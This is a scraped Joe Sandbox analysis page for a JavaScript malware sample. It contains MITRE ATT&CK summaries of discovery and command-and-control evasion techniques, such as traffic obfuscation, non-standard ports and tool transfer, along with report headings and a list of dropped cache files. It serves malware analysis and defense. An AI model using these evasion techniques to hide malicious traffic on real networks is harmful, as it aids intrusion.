Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 21787281582160623337.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\eafbdb8b-a6b0-4073-a608-f89e67610954.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5588

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
21787281582160623337.js